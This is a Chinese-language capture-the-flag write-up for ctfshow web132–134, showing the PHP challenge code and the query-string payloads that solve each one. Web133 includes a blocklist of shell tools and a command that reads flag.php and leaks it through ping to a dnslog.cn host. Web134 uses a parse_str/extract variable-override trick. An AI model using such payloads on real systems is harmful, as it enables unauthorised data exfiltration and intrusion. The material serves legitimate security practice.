ARTICLE DETAIL

建站实战干货

来自一线的建站与推广经验沉淀,每一条都经过真实交付验证。

ctfshow 132,133,134(php特性)

2026/8/11 23:19:02 拓冰建站 浏览量
ctfshow 132,133,134(php特性)

web132

打开指挥是个blog网站,我们用dirsearh扫描一下目录

访问/admin/index.php

查看源码

<?php include("flag.php"); highlight_file(__FILE__); if(isset($_GET['username']) && isset($_GET['password']) && isset($_GET['code'])){ $username = (String)$_GET['username']; $password = (String)$_GET['password']; $code = (String)$_GET['code']; if($code === mt_rand(1,0x36D) && $password === $flag || $username ==="admin"){ if($code == 'admin'){ echo $flag; } } }

&&需要两边同事都要满足,而||只需要两边任意一个满足就行了。

我们满足username="admin" 然后内层if还要求code='admin' 还要带上password 因为必须有

?code=admin&username=admin&password=

web133

源码

<?php error_reporting(0); highlight_file(__FILE__); //flag.php if($F = @$_GET['F']){ if(!preg_match('/system|nc|wget|exec|passthru|netcat/i', $F)){ eval(substr($F,0,6)); }else{ die("6个字母都还不够呀?!"); } }

源码中只对前六个字符作为php代码执行,,因为这个题无显然后这道题用到了数据外带。

需要用到dnslog.cn获取

?F=`$F`; ping `cat flag.php | grep ctfshow | tr -cd "[a-z]"/"[0-9]"`.vlyye3.dnslog.cn -c 1

tr -cd就是只保留指定字符

-c 1就是ping1一次

截取出来的用8 4 4 4 12分开,并且手动添加- 因为这里我们只要求返回0-9和a-z的。

web134

<?php highlight_file(__FILE__); $key1 = 0; $key2 = 0; if(isset($_GET['key1']) || isset($_GET['key2']) || isset($_POST['key1']) || isset($_POST['key2'])) { die("nonononono"); } @parse_str($_SERVER['QUERY_STRING']); extract($_POST); if($key1 == '36d' && $key2 == '36d') { die(file_get_contents('flag.php')); }

@parse_str($_SERVER['QUERY_STRING'])这一行

$_SERVER['QUERY_STRING']的意思就是读取?后的。

parse_str,将字符串解析成多个变量

例如?a=123&b=456

就变成$a=123 $b=456

而传入的里面又不能只有key1,key2

?_POST[key1]=36d&_POST[key2]=36d

让他给咱前面添加一个。然后看源代码拉到底部。